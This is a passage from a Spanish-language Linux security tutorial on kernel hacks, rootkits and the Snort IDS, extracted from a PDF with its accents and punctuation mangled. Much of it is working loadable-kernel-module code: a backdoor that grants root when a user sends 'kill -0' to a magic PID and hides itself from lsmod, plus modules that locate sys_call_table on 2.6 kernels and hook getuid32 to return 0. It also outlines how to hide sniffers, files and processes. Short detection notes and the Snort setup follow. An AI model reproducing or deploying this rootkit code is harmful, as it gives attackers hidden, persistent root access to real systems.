Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 14: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

